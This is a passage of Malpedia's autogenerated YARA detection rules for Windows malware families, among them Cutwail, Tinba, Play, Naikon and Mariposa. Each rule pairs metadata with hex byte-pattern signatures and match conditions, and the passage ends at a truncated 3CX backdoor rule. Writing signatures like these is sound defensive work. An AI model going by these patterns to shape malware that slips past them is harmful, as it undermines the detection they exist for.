		$sequence_7 = { 2cee aa 2c01 aa 04f1 }
		$sequence_8 = { 85c0 0f84d0000000 68???????? 8d85eafeffff 50 }
		$sequence_9 = { 8bec 83c4f8 53 ff35???????? e8???????? 6bc004 }
	condition:
		7 of them and filesize < 188416
}

rule MALPEDIA_Win_Gazer_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "025c1d8d-e3fd-5a49-b71d-4bbc0b4928dd"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.gazer"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.gazer_auto.yar#L1-L120"
		license_url = "N/A"
		logic_hash = "c8a8229e229bc5f71eb0c28292f412cc779922fa28387727fa389b81ee926f71"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { ff15???????? 85c0 7511 e8???????? 84c0 7508 }
		$sequence_1 = { ff15???????? 85c0 7511 e8???????? 84c0 }
		$sequence_2 = { 85c0 7511 e8???????? 84c0 }
		$sequence_3 = { 85c0 7511 e8???????? 84c0 7508 83c8ff e9???????? }
		$sequence_4 = { ff15???????? 85c0 7511 e8???????? 84c0 7508 83c8ff }
		$sequence_5 = { 85c0 7511 e8???????? 84c0 7508 83c8ff }
		$sequence_6 = { 85c0 7511 e8???????? 84c0 7508 }
		$sequence_7 = { 7511 e8???????? 84c0 7508 83c8ff e9???????? }
		$sequence_8 = { 7511 e8???????? 84c0 7508 83c8ff }
		$sequence_9 = { 41c1ca0b 4503d1 410bc2 4133c1 4103c0 }
	condition:
		7 of them and filesize < 950272
}

rule MALPEDIA_Win_Kamasers_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "c1a7cc0c-2e35-5239-9e79-174b829766cd"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kamasers"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.kamasers_auto.yar#L1-L132"
		license_url = "N/A"
		logic_hash = "bc9204b6b1cca7a86ddf29783e99c6413f2a7179ee494a096a7a149c0e384519"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 83c414 ebe1 8b55ec 8b4de8 8b04957885f904 807c082800 7d55 }
		$sequence_1 = { 7602 8b06 8a4c3a04 80f13f 884c1004 83c205 83fa19 }
		$sequence_2 = { 7776 51 52 e8???????? 83c408 c745e400000000 c745e80f000000 }
		$sequence_3 = { 33c0 0f57c0 c78558feffff02000000 0f118548feffff 66898548feffff ba0f000000 88854afeffff }
		$sequence_4 = { ffb5b4dbffff 8d85f0efffff f7d1 50 ffb5f8dbffff 66898dfaefffff ff95b0dbffff }
		$sequence_5 = { 8b85e8fdffff 83f80f 7634 8b95d4fdffff 8d4801 8bc2 81f900100000 }
		$sequence_6 = { 0f85be000000 8d4dd4 e8???????? 50 8d4d98 e8???????? 8b4de8 }
		$sequence_7 = { 6a01 68???????? 8d8d40edffff c645fc13 e8???????? c785fcd8ffff00000000 }
		$sequence_8 = { 0f875c070000 51 52 e8???????? 83c408 837de80f }
		$sequence_9 = { 8bc8 2bcf b8abaaaa2a f7e9 8b4b04 c1fa02 2bcf }
	condition:
		7 of them and filesize < 906240
}

rule MALPEDIA_Win_Virtualgate_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "9ec48095-319c-5914-b4c7-b90192caa4ab"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.virtualgate"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.virtualgate_auto.yar#L1-L120"
		license_url = "N/A"
		logic_hash = "bdfea9aeb2fcf2d699fffd47ea03945e66306ca4f124485dd66c43c3284358f7"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 418bc4 0f47c1 89442438 ffc8 8bf8 0fb68c82029a0100 }
		$sequence_1 = { 66250100 7225 0100 7e25 0100 8a25???????? }
		$sequence_2 = { 48894604 b906000000 48898620020000 0fb7c0 66f3ab 488d3d18470100 482bfe }
		$sequence_3 = { 85c0 0f8483000000 488d8510030000 49c7c0ffffffff 49ffc0 42383400 }
		$sequence_4 = { 488d15263d0100 e8???????? 8bcb 4885c0 740c }
		$sequence_5 = { 488d0d30ecfeff 4c8945e7 4d03e8 48895df7 4c8be3 4c896db7 }
		$sequence_6 = { 85c0 0f8403010000 488d0566080100 4a8b04e8 42385cf838 0f8ded000000 }
		$sequence_7 = { 48895c2408 57 4883ec20 488d1d8fc60100 488d3d88c60100 }
		$sequence_8 = { f30f6f0f 4883f80e 7773 8b848634270100 4803c6 }
		$sequence_9 = { 4b8b8ce0f0250200 4803ca 48ffc2 468854f13e }
	condition:
		7 of them and filesize < 323584
}

rule MALPEDIA_Win_Cutwail_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "cbc2bf28-da14-5ea8-8af9-9a0a97c6e135"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cutwail"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.cutwail_auto.yar#L1-L159"
		license_url = "N/A"
		logic_hash = "9ba6db86559b6188867d3264363e179bc81f3f3f5481bc0c2638242b1cc71cd8"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 0f849d000000 ff7510 e8???????? 59 }
		$sequence_1 = { eb14 8b55fc 0355f8 8955fc }
		$sequence_2 = { 59 7506 891d???????? 53 57 }
		$sequence_3 = { 833800 7511 837df800 7e0b }
		$sequence_4 = { 6a66 8d8d90f1ffff e8???????? 03c3 }
		$sequence_5 = { 57 ff755c 03c8 51 e8???????? }
		$sequence_6 = { 895104 8b8550feffff c7400800c02004 6a00 6a00 }
		$sequence_7 = { e8???????? 894604 8b4610 57 }
		$sequence_8 = { 8bec 81ecc4010000 8d8570feffff 50 6802020000 e8???????? 85c0 }
		$sequence_9 = { 51 e8???????? 83c410 8985ecfdffff }
		$sequence_10 = { 1bc0 f7d0 234554 e9???????? }
		$sequence_11 = { 6bc912 56 ff742428 8981feb71513 }
		$sequence_12 = { 8b95e4fdffff 52 8d85f8fdffff 50 e8???????? 83c408 }
		$sequence_13 = { 53 53 6a02 e8???????? 894558 }
		$sequence_14 = { c7854cfeffff00000000 eb0f 8b954cfeffff 83c201 89954cfeffff 83bd4cfeffff03 0f8db5000000 }
		$sequence_15 = { 0f8d23010000 6800020000 6a00 8d95f8fdffff 52 }
	condition:
		7 of them and filesize < 262144
}

rule MALPEDIA_Win_Lightrail_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "58541781-79c6-574d-b195-c74fbba8085e"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lightrail"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.lightrail_auto.yar#L1-L117"
		license_url = "N/A"
		logic_hash = "5d9e17bc35bca0e64cb85c52ac794612dc1d7650f37d7c51842cacd140fd6d54"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { b931ad0231 e8???????? 48894330 4885c0 0f8486000000 }
		$sequence_1 = { 48d3c8 4533c0 33d2 33c9 ff15???????? 488d0d505b0100 eb0c }
		$sequence_2 = { 488d152c7d0000 b914000000 e8???????? 4885c0 7452 }
		$sequence_3 = { 0f84eb000000 4885c0 0f85e4000000 4d3bc1 0f84d1000000 8b7500 498b9cf700a10100 }
		$sequence_4 = { 8b0c8e 4903ca 483bcf 721a 438b84168c000000 }
		$sequence_5 = { 746d 4533c9 8d5772 4533c0 488bc8 ff93c8020000 }
		$sequence_6 = { 442bc9 4183f90f 7779 428b8c8ef89a0000 4803ce ffe1 }
		$sequence_7 = { f2410f1004c1 488d15d6860000 f20f1014c2 f20f1025???????? }
		$sequence_8 = { ff9778020000 4c63f0 4983feff 0f84ef000000 }
		$sequence_9 = { 8b542430 48891401 488d0d4ab90000 e8???????? }
	condition:
		7 of them and filesize < 249856
}

rule MALPEDIA_Win_Neddnloader_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "852b40fe-2e5d-50aa-b642-537ac76dade8"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.neddnloader"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.neddnloader_auto.yar#L1-L165"
		license_url = "N/A"
		logic_hash = "f033318b8bebdad1df405535c03ee01ef3d70d6b1b4f8bc82d01aaedd0dfc4d8"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 57 ff15???????? 8b4df8 56 3bc8 }
		$sequence_1 = { 8d43ff 3bc8 7311 0fb702 0fb731 663bc6 }
		$sequence_2 = { 8b03 8b5508 69c0b179379e c1e813 33c9 }
		$sequence_3 = { 0fb731 663bc6 7506 83c102 83c202 }
		$sequence_4 = { 83c204 3bcf 72f0 8d43ff 3bc8 7311 }
		$sequence_5 = { eb02 0008 8b45f8 83c0f4 }
		$sequence_6 = { 57 e8???????? 2b5d10 83c40c }
		$sequence_7 = { 8d84241c040000 50 68???????? b900230400 }
		$sequence_8 = { 4133bc8e803c0100 4133bc8680480100 418bc0 41337d20 c1e808 0fb6d0 418bc1 }
		$sequence_9 = { 488d0587930000 483bc8 7405 e8???????? bf0d000000 }
		$sequence_10 = { 4533948480590100 458b848c804d0100 410fb6c1 4533848480510100 45335538 410fb6c3 4533848480550100 }
		$sequence_11 = { 440fb68c29804c0100 c1e810 0fb6c8 41c1e108 0fb68429804c0100 4433c8 }
		$sequence_12 = { 410fb6c2 41339c8480440100 45337508 410fb6c3 41339c8480400100 }
		$sequence_13 = { 4433c0 400fb6c7 420fb68420803b0100 41c1e008 }
		$sequence_14 = { 4883ec28 4c8bc1 4c8d0df20effff 498bc9 e8???????? }
		$sequence_15 = { 0f94c0 8944244c 488d05caef0000 4a8b14e0 41837c175000 }
	condition:
		7 of them and filesize < 3438592
}

rule MALPEDIA_Win_Brbbot_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "6f8ffa7c-cd8c-50e9-99ce-be919b2bf777"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.brbbot"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.brbbot_auto.yar#L1-L129"
		license_url = "N/A"
		logic_hash = "81c84b2ac34bd64175981dcc2195841d305509a8b4adcc1041ffc068cd7e1797"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 488d0d14310000 4533c9 ba00000040 4489442420 ff15???????? 488905???????? }
		$sequence_1 = { 4c8d41ff 488b4d00 e8???????? 443926 7433 488b4d00 488d15e1ca0000 }
		$sequence_2 = { 8b4d48 41b801000000 4883caff e8???????? 807d580a 4c8d05af3dffff 740f }
		$sequence_3 = { 488906 8b05???????? 894608 0fb705???????? 6689460c 488bc6 660f1f440000 }
		$sequence_4 = { 48ffcf 75f5 488bce e8???????? 488bf8 }
		$sequence_5 = { 81cb00000780 8bc3 4883c448 5f 5b c3 4c8d0562ec0000 }
		$sequence_6 = { 57 4881ece0010000 488b05???????? 4833c4 48898424d0010000 33ff 33c9 }
		$sequence_7 = { 7516 488d051cb80000 488b4c2430 483bc8 7405 e8???????? }
		$sequence_8 = { 750d 488bce e8???????? e9???????? 4c8d2d31bb0000 8bcb 488beb }
		$sequence_9 = { 8a45d9 4b8b8cf8c05a0100 88443139 4b8b84f8c05a0100 8854303a eb4c }
	condition:
		7 of them and filesize < 198656
}

rule MALPEDIA_Win_Dripion_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "6e941fbc-0092-5680-a9f8-3d85cce1c3ca"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dripion"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.dripion_auto.yar#L1-L111"
		license_url = "N/A"
		logic_hash = "3337814c1f32071db01b4a02df38137e3cc930cfdb33776a0eb841a83537dbda"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { ffd6 0faff8 ffd6 0faff8 }
		$sequence_1 = { ffd6 0faff8 8d3c7f ffd6 }
		$sequence_2 = { 740f 3ccf 740b 34cf }
		$sequence_3 = { ffd6 03f8 ffd6 8bd8 ffd6 0fafd8 }
		$sequence_4 = { ffd6 03f8 8d3c7f ffd6 }
		$sequence_5 = { 8bf8 ffd6 0faff8 8d3c7f ffd6 }
		$sequence_6 = { 7513 6a64 ff15???????? 68???????? ff15???????? }
		$sequence_7 = { 8bf8 ffd6 0faff8 8d3c7f }
		$sequence_8 = { ffd6 8bf8 ffd6 0faff8 8d3c7f ffd6 }
		$sequence_9 = { ffd6 8bf8 ffd6 0faff8 8d3c7f }
	condition:
		7 of them and filesize < 90112
}

rule MALPEDIA_Win_Highnote_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "b0d28496-8673-59fb-b567-198b148df4f3"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.highnote"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.highnote_auto.yar#L1-L126"
		license_url = "N/A"
		logic_hash = "7cacc14b2d0dfaf54710df19550a1288a5ab7f5eb6146a6937a043c66ae24b0f"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 3c7b bc9e36398f 8027e9 82ad42476080cd e009 }
		$sequence_1 = { 47 365e 3007 7bae 97 9d 884d13 }
		$sequence_2 = { a8b9 a1???????? 9c 6857414608 d4dc 59 93 }
		$sequence_3 = { 33c5 8945fc 8b4508 53 6808090000 8945e4 e8???????? }
		$sequence_4 = { 4f 59 7def 889de81be9ec b96b0b724f 262415 3a1f }
		$sequence_5 = { 0e ed 47 6908b79d84b8 6935????????3e1f20f8 4a d14529 }
		$sequence_6 = { e76e a9a4fec7f3 1b90bff8ccdd b1e4 f7f4 }
		$sequence_7 = { 0f85dc000000 b763 42 20ce e04b 2bea }
		$sequence_8 = { 1cfe 5f 3d4b9c06b4 12a4c5ea7849d5 ba7ab47152 1c98 d24cdca8 }
		$sequence_9 = { 3cff 145d 853e 235ee7 }
	condition:
		7 of them and filesize < 321536
}

rule MALPEDIA_Win_Urausy_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "1beffaf4-c79f-5031-ba16-920ad7ce2336"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.urausy"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.urausy_auto.yar#L1-L121"
		license_url = "N/A"
		logic_hash = "8b8a7bd5c9e36633624e07a893f13b5d5c82edf3b42773503b98b1177601ac24"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { ff7508 e8???????? 8945ec ff7514 e8???????? 8945e8 }
		$sequence_1 = { ff75a0 ff75ec e8???????? 33c0 b4ff b0ff c1c008 }
		$sequence_2 = { e8???????? 5e 6a00 6a00 6a00 }
		$sequence_3 = { ff7594 ff7598 ff75ec e8???????? 33c0 }
		$sequence_4 = { 6a28 ff75e4 ff75e8 6802000050 68???????? 68???????? 6800000400 }
		$sequence_5 = { e8???????? 53 e8???????? 8d85f8fdffff }
		$sequence_6 = { ff75e8 e8???????? c9 c21000 55 8bec 81c4ecefffff }
		$sequence_7 = { 8b4508 50 8b00 ff5018 8d45e0 }
		$sequence_8 = { 83c4e8 833d????????01 7504 c9 }
		$sequence_9 = { e8???????? c9 c20400 55 8bec 83c4e8 8d45f0 }
	condition:
		7 of them and filesize < 98304
}

rule MALPEDIA_Win_Mirrorkey_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "23fdf476-29dd-5c48-a2d0-67c951326855"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mirrorkey"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mirrorkey_auto.yar#L1-L118"
		license_url = "N/A"
		logic_hash = "23c2e6c1488c0365d27087d2deccf67b069663ff42f157533379a432751ee152"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 56 8d4db8 c745cc0f000000 c745c800000000 c645b800 }
		$sequence_1 = { 50 68???????? 53 c745a400000000 e8???????? 0fbe4317 8d4da8 }
		$sequence_2 = { 8b06 eb02 8bc6 c60000 c745fc00000000 8bce a1???????? }
		$sequence_3 = { 7406 8a740608 eb03 8a76fc 85c0 752f }
		$sequence_4 = { 88442433 8d7808 0f1f440000 53 }
		$sequence_5 = { 50 e8???????? ff75fc 8d45fc ff75f8 50 }
		$sequence_6 = { 8b85f4feffff 33f6 3930 7446 33db }
		$sequence_7 = { 56 ff15???????? 5f 5e c7430400000000 }
		$sequence_8 = { 32d3 2503000080 7905 48 }
		$sequence_9 = { 85c0 7405 8a0c06 eb03 8a4ef4 }
	condition:
		7 of them and filesize < 117760
}

rule MALPEDIA_Win_Play_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "fb8bcd82-2890-51e9-aef7-15cdb7334359"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.play"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.play_auto.yar#L1-L126"
		license_url = "N/A"
		logic_hash = "98ed430384a69d155a8a3b8add1f6db92e55c318ad1d4defbfbdd225c9837ee9"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 85c9 7ff1 eb1d 8d85b1feffff 03c1 50 }
		$sequence_1 = { 0f1005???????? 8945ac b854040000 6689856cffffff b8e0690000 0f114588 052496ffff }
		$sequence_2 = { 898518feffff b879180000 0f118594feffff 898534ffffff f30f7e05???????? a1???????? 660fd68500ffffff }
		$sequence_3 = { 02c0 02c2 888596feffff b9???????? e8???????? 8a85acfeffff }
		$sequence_4 = { 8a857cfcffff fec0 c745e43d000000 0245fd 8845ff 888521ffffff b83e000000 }
		$sequence_5 = { bbb410624c 8b0d???????? e8???????? 6aff ff75e8 ffd0 }
		$sequence_6 = { e8???????? 33d2 8b4df4 f7f6 8bc2 8945e4 }
		$sequence_7 = { 8955f8 894dfc e8???????? 8b0d???????? 33d2 }
		$sequence_8 = { 889591feffff 888dc9feffff 888d81feffff b920000000 c60000 }
		$sequence_9 = { e8???????? 2467 0fa1 ee d5d8 e9???????? 8c9f381b40b1 }
	condition:
		7 of them and filesize < 389120
}

rule MALPEDIA_Win_Tinba_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "e9e77c24-46b9-5cf7-a828-2a850fe6f2a6"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tinba"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.tinba_auto.yar#L1-L142"
		license_url = "N/A"
		logic_hash = "374a170ff41ebad47f064bc534bfadb5eb7ba02780fab8542e6fa86bf64ae9a3"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8b7508 ad 50 56 }
		$sequence_1 = { 8b4510 aa 8b450c ab }
		$sequence_2 = { 6a00 6a00 ff750c 6a00 6a00 ff7508 }
		$sequence_3 = { 8a241f 88240f 88041f 41 }
		$sequence_4 = { 7416 66b80d0a 66ab b8436f6f6b ab b869653a20 }
		$sequence_5 = { 7437 b912000000 48 8d3db0010000 807a180f }
		$sequence_6 = { 72ee 87ce 89f8 29ce f3a4 29fe }
		$sequence_7 = { bb0a000000 31d2 f7f3 52 41 }
		$sequence_8 = { 3c0a 7304 0430 eb02 0437 aa c14d0804 }
		$sequence_9 = { 40 eb12 ff7514 ff7510 ff750c }
		$sequence_10 = { 85c0 741b 66b80d0a 66ab b855736572 }
		$sequence_11 = { 8d7a33 f6c304 740a 834a3540 66a5 }
		$sequence_12 = { 8b0e 3b4d10 7603 8b4d10 51 57 ff750c }
	condition:
		7 of them and filesize < 57344
}

rule MALPEDIA_Win_Naikon_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "1a371971-3c14-5c5c-93ec-3bfac331df93"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.naikon"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.naikon_auto.yar#L1-L127"
		license_url = "N/A"
		logic_hash = "83032b5030b393c588ce5d94661092c796ec6d6ab26688f2a44eab055633535d"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8bf8 59 3bfb 59 741d 8b06 2bc7 }
		$sequence_1 = { eb05 397df8 7415 8d45f0 }
		$sequence_2 = { 8975c4 8945b0 8b450c 8945bc 03f0 8b45e4 8b4f6c }
		$sequence_3 = { 53 50 e8???????? 6a04 8d85f8fdffff 68???????? 50 }
		$sequence_4 = { 8b06 03c3 68???????? 50 e8???????? 68???????? e9???????? }
		$sequence_5 = { 03c8 83c00c 8903 8d45d8 6a0c 50 ff750c }
		$sequence_6 = { e8???????? ff75fc e8???????? 83c414 eb02 33db }
		$sequence_7 = { 6a10 68???????? e9???????? 6a00 ff75fc 53 8d853cffffff }
		$sequence_8 = { 8b00 52 53 53 8b4010 }
		$sequence_9 = { 838e90000000ff 8dbe8c000000 85c0 740a 50 ff15???????? }
	condition:
		7 of them and filesize < 188416
}

rule MALPEDIA_Win_Mariposa_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "2a3a2192-1985-5afb-a3c8-457f3f4c729c"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mariposa"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mariposa_auto.yar#L1-L118"
		license_url = "N/A"
		logic_hash = "343ac33f57cd9cc9bfc1841bf1bd211734de245f417ee554220587a46ed4086f"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 55 8bec 53 56 bb???????? 43 }
		$sequence_1 = { ffd3 33c0 50 e8???????? 33c0 }
		$sequence_2 = { 53 56 bb???????? 43 }
		$sequence_3 = { 885c0cff e2f1 ba???????? 2bd6 8bdc 03da 4b }
		$sequence_4 = { 8a1c0e 02d8 32dc fec0 885c0cff e2f1 }
		$sequence_5 = { 8bdc 03da 4b 54 ffd3 33c0 }
		$sequence_6 = { 885c0cff e2f1 ba???????? 2bd6 }
		$sequence_7 = { 8a4301 8a6302 f6d0 02c4 d0f8 8a1c0e }
		$sequence_8 = { 53 56 bb???????? 43 803b00 }
		$sequence_9 = { 03da 4b 54 ffd3 33c0 }
	condition:
		7 of them and filesize < 311296
}

rule MALPEDIA_Win_3Cx_Backdoor_Auto : FILE
{
	meta:
